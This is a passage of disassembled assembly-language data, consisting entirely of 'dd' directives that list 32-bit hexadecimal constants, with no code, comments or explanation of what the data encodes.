		dd 0E07C70CDh, 0CF51D60h, 5ACA323Eh, 0C52EFEFDh, 0CCF30418h
		dd 0D5F0FF31h, 0F6D2029Eh, 67FDE9E7h, 0E3A5985Dh, 4BD19B46h
		dd 0B316EB05h, 212E140Dh, 4AA997F9h, 8D185B3Eh,	2BB9CCDFh
		dd 65C00914h, 7F0607C9h, 3A6C4385h, 46C81236h, 12CDAF31h
		dd 0F534FC7Eh, 112028AFh, 0F19953E5h, 71E7ADB8h, 931559Dh
		dd 719C4751h, 3B636275h, 0B3EFC14h, 2353DB8h, 4125E67Fh
		dd 0B6A06CEh, 0A05513E2h, 7528CAA2h, 86234860h,	7FC9C24Ah
		dd 43772CC0h, 0D001260Ah, 0BA34072Dh, 0F5DAECABh, 8400B2AAh
		dd 31AF2DA1h, 0A5A4CEF5h, 80CFD510h, 9E97D425h,	883144A9h
		dd 0DD84BAC3h, 73B2E0C1h, 2DFBF2D8h, 3B4029E9h,	610F2DADh
		dd 6F4DC53Ah, 35B2166Bh, 0FCB16C50h, 6385FD3h, 0BAD9F7CCh
		dd 0DF0D3E09h, 0FE8F5712h, 6B66EDA9h, 1D09BF7Fh, 82472CC5h
		dd 55C69DC2h, 0C408EB65h, 0C8290EE1h, 3EF23AEBh, 4A8AB912h
		dd 0FA1F7DACh, 0A15B972Fh, 2CBE2E6Ah, 40F180B8h, 0C48712Fh
		dd 83576914h, 0B7B17C89h, 126BD66Ch, 560A022h, 0C433200Fh
		dd 87E88044h, 19601106h, 9229018h, 93E91AACh, 0D9DD9D67h
		dd 46DDCBDBh, 18DD5AF6h, 6B796A99h, 0CF6560BFh,	0BD20CB0Fh
		dd 5654177h, 7F7CE86Eh,	202E6E2Eh, 8B2A5151h, 0E23441E1h
		dd 1538CA83h, 40ECAA84h, 0A2E8D2C9h, 0E1912CC9h, 820FB589h
		dd 0BFAC3F5h, 75979FF8h, 0FEDD218Dh, 5EB90978h,	0F52D5A07h
		dd 745E05E3h, 5B07A132h, 0E945303Eh, 799D5958h,	29AC8A08h
		dd 9B56C96Ah, 0A807DCC9h, 89014FC4h, 9A7CFA0Bh,	16F1DF49h
		dd 2B92C39Eh, 564B4BAEh, 9F20967Dh, 529296D3h, 4BE98088h
		dd 0BAD407DAh, 2ED0B39Dh, 74782BD7h, 8C68016h, 8B6F1DAFh
		dd 0A0FF9DC1h, 25E939FAh, 833ADE58h, 2A2F68C3h,	10C45316h
		dd 0E2107A9Fh, 0C796505Fh, 0C3BA6CC0h, 5F129221h, 0A5139252h
		dd 0EFA0F0D7h, 0C5ED5DE2h, 2F4E1828h, 0D38530E2h, 0BAFD4C3Ch
		dd 0CB09BE67h, 5F289F1Fh, 0D4683910h, 56F2434Ah, 694221D3h
		dd 78043348h, 4A13425Ah, 0D6A246FEh, 9A2C4B61h,	0A3C2B821h
		dd 625907D5h, 9CC03F6h,	1CC0B3E0h, 570AD1B8h, 55050471h
		dd 810BCB51h, 0C160C9A1h, 20D23B6Ah, 4FB7695Fh,	78B90A20h
		dd 0E150BF58h, 4D6FE0B7h, 1ED82C2Bh, 0CF2958B8h, 54E917C4h
		dd 0BF5B48F8h, 0C425B52Bh, 340ECF7Dh, 0FEADBE0Ch, 36E957A0h
		dd 2844885Eh, 5809D5B2h, 80032440h, 7E096425h, 0E95E4060h
		dd 0FE4EF098h, 5D10B8F7h, 52561AA8h, 5FD76326h,	0B896301Ah
		dd 0D64F48C5h, 5609C5EDh, 0F12437E9h, 0CCC0EE5Eh, 5C1763D2h
		dd 0EF040929h, 0A0D42180h, 5B17FD4Ah, 3EE03ECh,	56F00F4Ch
		dd 76241804h, 82FEE679h, 0D17F3127h, 0BE8A770h,	76BEA2E9h
		dd 0ABDB209h, 0AC080F1Fh, 290B8894h, 2A9AF569h,	0F0EAF210h
		dd 0C0627995h, 25DD6856h, 1E3085A8h, 0CE21D3C6h, 2832A02Fh
		dd 2649B720h, 0F6A8E05Dh, 31099CB3h, 0BD9EDD10h, 6135E30Fh
		dd 0D501B344h, 2F940AE8h, 171A4170h, 0AC215706h, 9BD004E1h
		dd 80BED354h, 0E9DA29A2h, 0F8DEFF7Bh, 21EF9234h, 0F2EB56C5h
		dd 0C37C7A6Eh, 18C5F235h, 68B001A8h, 0E8947FABh, 5DA58D62h
		dd 0CA623D7Eh, 86515516h, 1792BA60h, 1D62BCC5h,	277A9CF9h
		dd 39D18487h, 372BC04h,	4B3C7805h, 3554AD10h, 0BF0097D2h
		dd 7189172Fh, 0ACF05029h, 3C7AB31Dh, 0D007BCA7h, 0EF72E1BDh
		dd 0B447061h, 0D058E70Bh, 2AA0F729h, 0CFB8A54Eh, 3BAFE915h
		dd 0E11F51CEh, 5A0864E3h, 1CE28102h, 4015932Ah,	253D89EEh
		dd 0AC547C90h, 0B6C7872h, 6C7D3572h, 0F9AF8277h, 8C000992h
		dd 8F7E29C3h, 2FB4374Ch, 5A23207Dh, 7710E105h, 0A453FA92h
		dd 45DE9D83h, 561AB824h, 680B7F93h, 3C6C015Fh, 36A7B285h
		dd 28670F40h, 0D8BA26D2h, 5B5EDF20h, 0AAE76DA8h, 59D983C7h
		dd 5FB16CF0h, 0AD9631E9h, 532D848h, 0E87D80D7h,	0E97A0401h
		dd 4EFAF848h, 890C78EEh, 67FC3FF9h, 70A268A0h, 0FB0BC89Bh
		dd 4B2D51B0h, 3F3BD321h, 0E7FE2084h, 0AB309409h, 5D048073h
		dd 0BF09F140h, 2A5A13C1h, 0C1E400ADh, 81D1B770h, 8ED2EB69h
		dd 8C3FAC64h, 9E402751h, 0BAEE4B89h, 9F448598h,	0EA2D1152h
		dd 0BD32D314h, 0C4E0D1A5h, 0F00B8AB9h, 0DD057D77h, 0E95107E0h
		dd 48263925h, 880D4440h, 1E138DEEh, 0D0BF0E68h,	5A856E76h
		dd 5505B925h, 2101FAC1h, 9E972177h, 0F8165B62h,	0EFA492B8h
		dd 1C8AD4F2h, 2FC68BF2h, 45684E00h, 0B3269A99h,	96A7475Bh
		dd 12320D3h, 97D15097h,	0A8C2DAB0h, 0C1943D26h,	1007EA00h
		dd 0ED011968h, 0D0081CA0h, 5D2F141Ch, 0B0253FF4h, 82A06DC1h
		dd 5A5D7162h, 0DE8F26BCh, 0CB51678Dh, 17084CDCh, 96BD002Fh
		dd 29947BC3h, 3FD9F1F7h, 0B5B4A217h, 0CB500CCCh, 0CA0E4A03h
		dd 8BFDC217h, 9518B0E4h, 7F539B41h, 0A22AD539h,	0E3A19368h
		dd 0D5810D3Dh, 401663E9h, 9B0EE85Fh, 5F43EB58h,	0C2D729B9h
		dd 316AC7EFh, 4A42B3F4h, 0EB1EDF33h, 760278D2h,	60B3589Bh
		dd 781CF644h, 0E92C094Bh, 2A7AEF15h, 0A40CD0Ah,	0E20B86BFh
		dd 7ADBDE50h, 2D033D7Bh, 1D800Bh, 3301852Ah, 0CE94538h
		dd 165FCD59h, 89AF7368h, 0D7CF3049h, 624B1912h,	3694BE03h
		dd 0C28395F6h, 329DF034h, 0E9FD1689h, 0E86FC60Bh, 7D5A4294h
		dd 7E216565h, 96C8210Bh, 0C0092C94h, 0BBD816E2h, 0F7F6FD76h
		dd 59F970ADh, 31FB4416h, 7EB9E979h, 6E05FA12h, 0B6B4FB2Ah
		dd 320C5FC3h, 9CD55118h, 22DEA106h, 3BA7C74h, 70551371h
		dd 0C9E2D2F7h, 0E9EB1650h, 0CDA964C2h, 3940270Fh, 26D5640Eh
		dd 0A84E2EB7h, 568C05D4h, 14C26CEFh, 6839DC59h,	6D160391h
		dd 1ACC72A7h, 7A5B72C4h, 58C63DE8h, 0CE0007DCh,	81290C41h
		dd 0F1321C9h, 0D3BE2070h, 7CEF5877h, 0C4255340h, 3FD065FEh
		dd 2FD9EC9Fh, 0EB125DC7h, 0CDE86AAh, 353E120Bh,	804BFA46h
		dd 4FE95508h, 4E6DE809h
		dd 0EBE6A49Ch, 8CC9A004h, 739F1117h, 0E9C282A3h, 0CC5224F7h
		dd 0E784B55Ah, 0A2C5F2FBh, 0B5B2605Ch, 0ECEBE04Bh, 7D681759h
		dd 0C229BC27h, 46D8F664h, 88C8BE94h, 0F2284594h, 0CD661B16h
		dd 778166E8h, 85446756h, 7442610Ch, 59F280FAh, 0D095881Bh
		dd 4F5B09BCh, 32903AC7h, 2C93AE19h, 2AEF4427h, 8E86FEE7h
		dd 0B6E90B6Ah, 4CFDFECFh, 6068123Ah, 4C5350Ah, 0EF263F47h
		dd 4AAA1C65h, 41BD6672h, 6BFEC10Dh, 975BA438h, 0A320EC34h
		dd 991908Ah, 3F3A7743h,	203DDF2h, 62D4F381h, 7E318240h
		dd 0E7CE0E38h, 0E97F3C00h, 0D6956036h, 12B65B71h, 278DFCBDh
		dd 0C8C4B976h, 10809E89h, 27F253CCh, 207A478Fh,	0AA27773h
		dd 2D33767Dh, 0E9507374h, 0A50F5ED0h, 0CB6FAFFCh, 0AD35F1D3h
		dd 158E617Fh, 0F6680081h, 0BF135A06h, 0B2E67B13h, 0E152E90Ch
		dd 10E0689Ch, 20CAC6B5h, 0BD016CB3h, 7E0E78FCh,	0D041E5D1h
		dd 800073F0h, 5A13E0C3h, 0CABEEB28h, 800F1F50h,	0CB129F5Ch
		dd 41FAAEA0h, 0E0066562h, 0D5D48B58h, 0B2130941h, 0D5805FA7h
		dd 65DE6808h, 0E03966BDh, 3D5F390Ah, 0E9FA3104h, 1D35B8DBh
		dd 8CCDC6FEh, 9560CAF3h, 0CC01EB0h, 409FD299h, 5EBFBE3Bh
		dd 313E1D3Dh, 0D0211FF3h, 177ACC2Dh, 6458F568h,	0B5F8ABCEh
		dd 72A4E04Bh, 84E3633Ch, 31707BBBh, 0E9CB8A80h,	0B98C499Dh
		dd 0F2C67885h, 8BB85A2Ch, 476C6109h, 6E36827Dh,	78BAA2C9h
		dd 6917540Bh, 56CF07Fh,	0C11E2005h, 3BCF10Ah, 0BFB45B07h
		dd 5D2D83FCh, 82D690F5h, 99E92673h, 381BD30h, 28F2C480h
		dd 0D6ECD5F4h, 6E5559C9h, 45A8C9FCh, 2E9846B2h,	6B444C12h
		dd 6883A4BAh, 0F41A9729h, 4C3954A7h, 0F31E90Bh,	0D2F63E99h
		dd 7C0FFB2Bh, 0A167848Fh, 24F24FA4h, 802A659h, 71244FEFh
		dd 3035B103h, 0BFF5D9CEh, 0F728AD35h, 0FA36EB34h, 5B6A2688h
		dd 0C7A1B93Bh, 33D4DC88h, 0A35A31B0h, 2CBC8567h, 0C218A35Bh
		dd 0FE354CE9h, 52349210h, 8CCBAFD7h, 6116B8D4h,	9537FF08h
		dd 80F53992h, 0BE7BD377h, 8E894E7Fh, 0F2151600h, 50A428h
		dd 0D21227B8h, 58C52156h, 829B70F3h, 7B416F02h,	0FD9CD3E9h
		dd 1A931A4Eh, 177C6D88h, 68BA9801h, 1610C12Dh, 885B03Eh
		dd 64A67C62h, 56602505h, 5A0D8C06h, 5FF9744Dh, 69B0B231h
		dd 6267F772h, 58BC8E08h, 301243C3h, 84FA45E6h, 2C0813FEh
		dd 3358FFD4h, 8E02C605h, 0DF40B551h, 50581B72h,	0F98A12D2h
		dd 0C8D50C0h, 0C6444AE5h, 550FF9FDh, 79FEE954h,	0BC3FEF3Fh
		dd 4FEE4045h, 602C1E31h, 187347A2h, 0BD13B8D0h,	4239ABFEh
		dd 0F0D61E79h, 1A4AD2D9h, 82EBBF3h, 0D0288174h,	315A952Ch
		dd 56AF01A2h, 0EE2B9531h, 6C0D01A2h, 0F5291209h, 842EDE1h
		dd 67C5775Eh, 0DD96E989h, 51165146h, 17BE8608h,	0FDC7BB25h
		dd 0F6E9D170h, 4B0EB215h, 0C0D5FE28h, 68B080ACh, 0FFC4404Ch
		dd 0CCBB481Eh, 42BFFA46h, 544CD513h, 29176818h,	827A3133h
		dd 71105160h, 3FB47C82h, 0C961B72Dh, 2954E209h,	5907F3C0h
		dd 0AC6F4BC7h, 0F90C0113h, 0CCE9DF66h, 2A80FC7Ch, 4A070E44h
		dd 2F0C58B8h, 0FD4D473Fh, 0C84101F2h, 0D731EC18h, 4FDFEC5Ah
		dd 3FF8FAA0h, 0D69D6D2Fh, 9FFD2086h, 602D7754h,	9F517CCDh
		dd 20322620h, 0E4A03766h, 149FFAB0h, 9D38F818h,	2F55310Bh
		dd 6182934Ah, 9612A256h, 416B56B6h, 2808B80Ch, 8EB2832h
		dd 0E0ECE927h, 0B3F18874h, 905FA5D2h, 0B5D07D37h, 66931C7Bh
		dd 83A846EFh, 15B744BCh, 5753165Bh, 94C1341h, 147F4D7Ch
		dd 0E6D4957Ah, 5E26E970h, 354D27A4h, 8EB8F9E3h,	0AC4F102Ah
		dd 2D963666h, 0C76815C8h, 38483666h, 5206AC1Fh,	5304FA17h
		dd 0BA0FAFB8h, 961B5F22h, 559EC255h, 704EC9C2h,	22EF4925h
		dd 0ACEB3DA8h, 0BD40FCC6h, 0BDEA6A58h, 0FC884E12h, 0DC98400h
		dd 0FF29047Fh, 8042131h, 0E31EFDE4h, 12A5CC2Fh,	0E543F16h
		dd 902F08B8h, 0B5BB3EFDh, 0F195B84Eh, 0E54D6271h, 9308E908h
		dd 977C2D3Ch, 44078720h, 477C7313h, 0F1E0D7F5h,	0D1D912F7h
		dd 383458E1h, 55825B3Fh, 6B015E61h, 81071035h, 0F40191Bh
		dd 9F3EB368h, 22B1E3D1h, 7730DB29h, 424F407Dh, 0A217C0B8h
		dd 0AF176267h, 2E5EF504h, 74048CEEh, 843FF341h,	9FBCEA43h
		dd 0EB4F5B3Bh, 0CBE92902h, 59BFC949h, 78B7B42Bh, 0A7546858h
		dd 0FE306292h, 0BF45D25Eh, 19F87E25h, 395B8358h, 3BC196B4h
		dd 5200E83Ah, 7219ABBAh, 0B77E6BA6h, 90D747Fh, 0ABD4EEAEh
		dd 7F7CC09Eh, 845A0548h, 4138675h, 402EFB1Ah, 3543B6EDh
		dd 3FF5EC25h, 9B048D05h, 0FB5DEA31h, 0B499F914h, 1E697DE6h
		dd 0CCCF5155h, 5C416A78h, 1EF2AD7Bh, 79960CEFh,	0A1E6D0ABh
		dd 354C1B68h, 0AB620595h, 44AEAE75h, 0EA27FB29h, 0AC9C8B24h
		dd 129095C7h, 909F4970h, 1812F593h, 0E4035F35h,	0A052DF0h
		dd 861CE92Ch, 6F008AEAh, 0A054E551h, 28BCF553h,	152FC066h
		dd 81AC6828h, 5077D6B7h, 6425E9EBh, 47DDD92Eh, 0F22D8896h
		dd 6A1D27D0h, 0DF88E3D3h, 2007288Dh, 80071C91h,	0D98816EBh
		dd 1213C7A3h, 0FF1B2C14h, 0F6D54260h, 0BA8069D1h, 662C2850h
		dd 0D5274453h, 30B44B14h, 0FEF7B760h, 12F658CFh, 14804610h
		dd 4F98C529h, 58EC00EBh, 0EC3B6E05h, 97FAA8CEh,	0F2EB1652h
		dd 1ED7D071h, 75277A4Ah, 0FA5BD2CEh, 3166B503h,	78E2C2CAh
		dd 0AD8F5F3Fh, 0B850C5E2h, 0EAF057ABh, 2C58C0C3h, 69CED042h
		dd 9F09507Fh, 744B4965h, 0F191C2DFh, 414BBE00h,	7C147AC0h
		dd 9D589AABh, 7C20D60h,	0F4C3EC9Fh, 0A93FE387h,	0C71017E9h
		dd 46336FD0h, 0F7530388h, 0EE814EDEh, 39F320B0h, 30DF12D0h
		dd 45BA2CBFh, 0B723D43h, 0A5162924h, 2DC6CF77h,	0D409AE96h
		dd 0D47D9321h, 3E400599h, 2618BB18h, 60A2A12h, 4BE944D3h
		dd 449F78BAh, 47F304FCh, 0CC139356h, 0BF55E9E9h, 2BB060FEh
		dd 6A694314h, 78960EC8h, 0DA31452Ah, 6B10E0A6h,	0FF5D27E3h
		dd 6825CA9Ch, 61FD7E05h, 2AB89FE9h, 0E955337h, 226A254h
		dd 18862C4Ah, 0B3105D58h, 0D99F4995h, 27506AD8h, 0E9BB4055h
		dd 39A9E2Ch, 481AB866h,	2B5EAAA4h, 0FAEF585Eh, 72EA319Eh
		dd 31BFBF1h, 7176AF01h,	0F744B787h, 32C04C4Ah, 1EC83540h
		dd 0CC55FC76h, 0EBAFDA5Ah, 40BEF19h, 172FE6C4h,	435CBBBDh
		dd 7083DE2Fh, 0C44EE3E9h, 307878F2h, 0C651D46Fh, 263D3D62h
		dd 0C8DAAC10h, 0F594D5ADh, 0CEBD187Dh, 0A813F6EDh, 1C8AB3F3h
		dd 0C403E3C0h, 85F606EBh, 0FE02EFB8h, 0B0DD3070h, 97EE28E2h
		dd 5C206322h, 96F307Eh,	1608F9C8h, 0CDC98DB8h, 0A9982BE0h
		dd 0AD93417Bh, 0C10E741Ah, 602E62F1h, 0B0BE72Ch, 0D5177809h
		dd 5F76CE8h, 1094AE0h, 0D69539E9h, 54A150BCh, 35386797h
		dd 0C2A0E2CAh, 0F92EE468h, 37D7888Ah, 4D7DBB04h, 0CB818A80h
		dd 871B1E25h, 0FCB20973h, 0D1312A98h, 0F45A79F4h, 7EB37B5h
		dd 0C2800606h, 43F232ABh, 0F6480757h, 582C043Ch, 0F820BC26h
		dd 0A628893Bh, 5D8320FDh, 34FD7F7h, 56E165EEh, 0FAFC018Ah
		dd 55555462h, 659D07ECh, 0C4CD93A3h, 3020C033h,	58024A7Ch
		dd 0FB47E035h, 368B5719h, 5EF37703h, 0A613EEDDh, 0C14920EFh
		dd 8F3C0CB6h, 52D11F55h, 4AECAF3Fh, 0A5B8404Eh,	5F15003Dh
		dd 72E4B12Dh, 332EE91Ch, 46F7151h, 0D4A24653h, 0F6815E00h
		dd 9319A016h, 0F154014Ah, 0E6B92062h, 0B2511E23h, 8628B32h
		dd 27F3029h, 5F2AC107h
		dd 0B94AC173h, 0FF1EAB04h, 0CDEC10Bh, 52EED8B5h, 1972C18h
		dd 0C459CA2Fh, 6DE91425h, 0E24ACCB7h, 0F3679EB5h, 0D7E0C313h
		dd 95C57F02h, 6030CA60h, 2D72493Dh, 0E97CC038h,	8B7CF78Eh
		dd 0ABDE0F39h, 0EF947FB6h, 8095D5F8h, 45DEBD95h, 68531331h
		dd 3788BBB5h, 0FD1B4AE9h, 49B626B7h, 1A08CE13h,	0AD5A2DDDh
		dd 137F420h, 8B0DD0F7h,	0F038E45Bh, 18C73E16h, 0E8A00ABFh
		dd 0C10EBD10h, 0E9FD310Bh, 82C42B5Ch, 96C9A9BAh, 63C0CA84h
		dd 0E0A0206h, 72E68177h, 0AF040724h, 1C6F71E8h,	48C12DFEh
		dd 0FECD32h, 281570EDh,	9933F6Fh, 0A0175ECAh, 54380F7h
		dd 0E98769CCh, 0B2D8042h, 116F6875h, 0B2A5B970h, 37D99CC2h
		dd 0B4080D88h, 7895AA20h, 0F3755C04h, 0D87AD98Dh, 90410E05h
		dd 0BF5D2A20h, 4E08D3CDh, 18B00125h, 7A17C380h,	3CB15EC0h
		dd 8E93DC0h, 288BF1BDh,	0D1859CBh, 7BBD3115h, 9D82208Bh
		dd 82218855h, 99687525h, 0FE5AF05Ah, 2A7AF8A3h,	0B7E0DB48h
		dd 0E6CDFAE0h, 312FF816h, 2950450Dh, 0A88FA50h,	6103F659h
		dd 626848B5h, 26C5332Ch, 0EB1F9154h, 2DEA5F7Fh,	10A23EE6h
		dd 95FA45Ah, 7FBD8B97h,	680A431Dh, 72085F9Bh, 8D5F1F2Bh
		dd 7B765BDFh, 0AE4BCDBCh, 0B0A8FFC4h, 5D3FF150h, 0CD003FC3h
		dd 30DBE581h, 93A07492h, 0A3A2EFF9h, 0A5207252h, 91BE0447h
		dd 0C06FF420h, 0D50B242Eh, 190C1D60h, 0BA6D312Eh, 6142AA9h
		dd 5BDA25F4h, 825B51CCh, 9AF0FC5h, 6985790h, 0C695DD39h
		dd 268125Ah, 21C26115h,	8122AFDCh, 0ED922AF7h, 0A8F280E2h
		dd 8358D108h, 4F0C5AA8h, 0D4DA016Fh, 291C6D08h,	8D02E32Fh
		dd 0F07FB796h, 577B0545h, 0F92C7E25h, 16688487h, 5BE3AA5Dh
		dd 0BBE88385h, 93843FA3h, 0BE71497h, 82BF1CA6h,	5D83FC90h
		dd 0F9F76D92h, 0D1756935h, 5BDDE26Ah, 3B129892h, 0B9787089h
		dd 0A352502Eh, 2840E025h, 5B6605DEh, 0CD5AF388h, 6327303Bh
		dd 0E315881h, 1A1DEE2Bh, 7FA37767h, 23165775h, 0A0FCC801h
		dd 0C7CBEAF5h, 4F909B10h, 21A164ACh, 0AFC6EF0h,	6BE8C1A1h
		dd 366E3DE1h, 0D6970D56h, 307552A2h, 82C5652Fh,	28191E40h
		dd 20DBD34Ch, 0C1CAF536h, 78282E79h, 54686604h,	75B4EF2Ch
		dd 5889BF39h, 0E971A8FEh, 20B9DECEh, 199A26EAh,	753DC28Ch
		dd 0C146137Fh, 2C9FBEB3h, 9F2500B9h, 0DF1810Fh,	334F1975h
		dd 0DB0137FDh, 0E96CAD62h, 0E6853ABEh, 9290E2BFh, 38A714ACh
		dd 42CD5125h, 0E37E4DE9h, 2C0EE399h, 59B0BB00h,	0FD9E297Fh
		dd 0E28C511Fh, 2DD8B354h, 9A57E42Ch, 540FDA5h, 0D34E88C8h
		dd 6928DB8h, 63B63E6Eh,	0BA20C677h, 2B20B82h, 83F5D530h
		dd 8734EB1Bh, 0A63AC43Ah, 9B03E159h, 0FF03E1C0h, 0E702933Fh
		dd 0FDC9FE06h, 0D7673E50h, 0CB04ED38h, 498A2CEEh, 16B90B95h
		dd 68590B4Ah, 5C301A22h, 55822FFEh, 0D6CB0FF3h,	0D8858BD8h
		dd 7DA5B8FCh, 4E20F81Eh, 0B2F5EB97h, 60FA773Eh,	0BB6BD9EEh
		dd 1388614Dh, 20D1B8D0h, 328FFC5Ch, 2AA68B2Ch, 0E8B5BD03h
		dd 0B9D6F88Eh, 0B1A727ABh, 3B8C249h, 446BCED6h,	0BA520383h
		dd 71A77992h, 0BB9AE00h, 76E915BCh, 5B34CB42h, 4E4AEED7h
		dd 8294B2A4h, 0F91C9668h, 87D56BD1h, 84124738h,	2A9EF422h
		dd 410EA5Fh, 89B38567h,	3FD2C2CAh, 847A9974h, 37AE46B5h
		dd 402391BDh, 81AA3035h, 0F21F534h, 7DA38C82h, 17D47B18h
		dd 2D451301h, 3FEB556Dh, 1420B371h, 0EA4AF403h,	48FC36A3h
		dd 0BA25E012h, 0BB30F505h, 659CEB81h, 0B9354AFh, 0D44EF88Eh
		dd 54B4D69Fh, 0E0D4E927h, 1222B937h, 0A8778C78h, 0E281805Eh
		dd 5CBF5DEAh, 0DF2C111Dh, 0ADD0A521h, 669FB0FAh, 0B1CB2001h
		dd 1BD8DDFAh, 5C63B2A8h, 1D10CFE8h, 0DA881D53h,	1957A2D2h
		dd 720716A9h, 0D548CE1Ah, 115EC07h, 7495BF57h, 0EA2B5061h
		dd 0FBDC6720h, 1EB34E1Bh, 0FFFBF4ACh, 0F381DCC0h, 0EE86138Ch
		dd 5B76099Fh, 10CEFB7Fh, 14FDD21Ch, 64AB901h, 0A5BDBE0Dh
		dd 0A142780Bh, 0F37B50A4h, 0D5977A9Ch, 36A46A5h, 6CBBF573h
		dd 0EF895D90h, 165AF96h, 0E094C5AEh, 6E27686Dh,	0EBB2985Eh
		dd 0FB30373h, 0D3F7DF87h, 0E781080Fh, 0B4BFFF5h, 2AF852h
		dd 369F291Ch, 0D8574DBEh, 12E9AC0Bh, 261544DBh,	89F7BF59h
		dd 0D97FAEB7h, 0C95B1FD6h, 0F690F013h, 0C4BFE531h, 5C85BD9Bh
		dd 8931FCD9h, 8DC50055h, 3A4C930Dh, 5C9343BDh, 0ED4F8CEh
		dd 3607DB05h, 4EE10B06h, 0DA082C4Ah, 0E28005C7h, 304581A2h
		dd 1C076D7Ch, 0EA166AB5h, 5A51CAEEh, 0E0200CF1h, 200B4160h
		dd 8F94CEAEh, 0B0743528h, 4DEFE78h, 0F7507997h,	0EA4076CEh
		dd 3E1D00B8h, 0F4BB37D7h, 674F4587h, 0A940A3BCh, 0ADCB0681h
		dd 100FE820h, 344B4348h, 20C07F01h, 5DDB6808h, 0C0109F5Bh
		dd 0A9B92EEFh, 31AD962h, 0DAB9F101h, 7CE3F87h, 9095EA4Bh
		dd 40E02B01h, 0E26E3F41h, 950200B9h, 20E90CAAh,	21C8C9CCh
		dd 50C35B23h, 89D0AFD0h, 4861F582h, 17A83A01h, 3B4265ADh
		dd 162F2AEFh, 0F461EF23h, 0EF052F75h, 544214C8h, 0F7CEEA31h
		dd 9E9EB37Eh, 0E090E9C9h, 4BC5805Fh, 7D31B015h,	4C3CDF41h
		dd 27BB65Bh, 635436C1h,	9858D523h, 2C5B0881h, 3C94B70Ch
		dd 0D37059ACh, 0F8330674h, 2D5E1232h, 91E863A5h, 50769DCAh
		dd 9A84F7E5h, 80EB6AD5h, 8105EAB1h, 3113F6E6h, 0D5F0FDDBh
		dd 29D94022h, 8BFCFA4Bh, 50844B1h, 13A40ABFh, 3FF17BFCh
		dd 581C870Eh, 6982D821h, 23B4B126h, 0CD68BB85h,	214D8D1Fh
		dd 8EF6D209h, 5173660h,	0E0C1251Dh, 0E905E6F4h,	0CCFE7EB4h
		dd 0EF54FD41h, 675CB1B4h, 80CF046Dh, 608261EAh,	0F15E0419h
		dd 0CD2C7B1Dh, 5A094091h, 0C190ECB0h, 5C1DB690h, 296E9F42h
		dd 0C1AE324h, 3866834Bh, 124816Dh, 0D8FDC312h, 0A0C390E2h
		dd 970D11E0h, 525FE1Eh,	0BD3B7D2Dh, 0ADC646ACh,	0EE76BDCEh
		dd 0A3485D71h, 4FD2440Ah, 0D59231Ch, 0E6AB93BDh, 0E4F9E289h
		dd 5C19E622h, 7AD71BC0h, 0B5A0309h, 0B81AE3Fh, 0E87410C1h
		dd 0A732463h, 0C8EF0212h, 4377A744h, 68D3097Ch,	0DF74548Eh
		dd 0BC70DC2h, 48CDEC5Fh, 0A64F3842h, 41E05F1Dh,	670A3AE0h
		dd 163CC1CAh, 6BA6202Eh, 75CC664Bh, 0F9C74A93h,	91E8A540h
		dd 0A49D298Ah, 9FC20EBDh, 45AD107h, 0B5E3FFC8h,	3BE5E982h
		dd 76F1A2A2h, 0BBD9B5Dh, 82A8E9ACh, 3C23DC90h, 7C255E48h
		dd 0A44918FAh, 2DF01296h, 0FA3056BAh, 9FBCC721h, 9E84CC6Bh
		dd 6A270916h, 40472700h, 0CC214D74h, 0BC4E81A2h, 9E48F0Bh
		dd 0D5E9B2CAh, 0E60851ADh, 8092E084h, 0D3369A5Fh, 5CDC2748h
		dd 0AE12A49Ah, 1DEF0FBh, 24E97440h, 0BB94BB82h,	0C68A5427h
		dd 80DB0197h, 96203CF2h, 7F09F68Eh, 2720F6C9h, 0EBC7C60Eh
		dd 0A1098439h, 7CE33FA4h, 0ED445CA2h, 76952C70h, 45DFCB27h
		dd 85A1C8D5h, 0EA9D703Ah, 51EADD20h, 1DA52F5Eh,	883DC52h
		dd 0E9170C41h, 37227FB9h, 8C088D1h, 203CA80h, 0BF0C8B5Ah
		dd 84E969E5h, 968817F6h, 20830CEBh, 4A5A764Dh, 21185C18h
		dd 275E4344h, 0FA586B89h, 3BB2B0C0h, 59E9E898h,	7D580E8Ah
		dd 0A8A5EF92h, 9E597530h, 0E7E95036h, 79A4774Bh, 0EF2BBD05h
		dd 0C36484D1h, 55EEB0BBh, 1D6BBD1Ch, 0D0BC0916h, 0AAD20196h
		dd 0BF1A7A3Ah, 0CC39090Ch, 0D74E85CAh, 5419CED1h, 38F6317Eh
		dd 0F0AB050Ch, 501F95A3h, 0AE4B84B4h, 0AD58DC5Fh, 47FCEA6Ch
		dd 1C4BDF4Bh, 0A1347502h
		dd 6394E92Fh, 3F62D75Dh, 17626C2Eh, 97067C5Ch, 0EA4584D5h
		dd 0E98521B9h, 79A8A8E3h, 0AF70027Bh, 74D4F050h, 5C5F0980h
		dd 7027FE1Ch, 27591761h, 0E9C4DF3Fh, 0B2EE80B6h, 5A0BD6F8h
		dd 0BF9A7597h, 2DECFB7Dh, 0E9852971h, 0F7A81C71h, 8494A9E4h
		dd 81009C05h, 0FC64D6E7h, 0F73B4176h, 2CDC3B88h, 7D72CD31h
		dd 84C537C8h, 45B17209h, 82F5D801h, 0D18F4108h,	3BE0892Eh
		dd 8E10EDB2h, 8F8A5FAAh, 0CC3B5D7Eh, 96EA881Ch,	0BCB617D7h
		dd 39BA4F1Fh, 165FBC2Ah, 0CBBA5E60h, 4AB84C8Ch,	0E26ECEE1h
		dd 0BC2DA4D6h, 36B18B38h, 0F8EB0432h, 97D73907h, 4D2C97C6h
		dd 3BD0BF88h, 0CA778627h, 80F47470h, 68DD1EE6h,	5A00D009h
		dd 463B0548h, 0B0406B82h, 90753ED8h, 6CC1FBCBh,	0C779D695h
		dd 3005D43Ch, 0AB4D4547h, 2F1C8906h, 0FB2FFFFFh, 5F0C7E1Ah
		dd 0B9268AF4h, 21DD9A42h, 0C1893DC3h, 88F52EEEh, 1235F1FDh
		dd 8081843Eh, 0A90A782Fh, 92125h, 1438E394h, 681F2E2Eh
		dd 0A5D8296Fh, 0DC30E66h, 284C80E9h, 78935C6Eh,	15CE3201h
		dd 0AC0B70Ch, 0FF82DA75h, 0D4BDD452h, 782E3F7Bh, 0FBB8817Fh
		dd 207E5838h, 88509390h, 5E137874h, 0BB926B5h, 0BA410841h
		dd 8A6BB1F0h, 0D3CD1BDBh, 0FA6AB191h, 0A993443Ah, 850EB9DBh
		dd 0D1B8E770h, 9CC704F4h, 4001FD1Bh, 0C9407AF0h, 7C915CB6h
		dd 225CDB27h, 6BFBEE60h, 4E7D7EBBh, 15B0942h, 0C28655CAh
		dd 0F70114B6h, 525192D8h, 0AF2E5A59h, 0D0ABB824h, 426EF5CFh
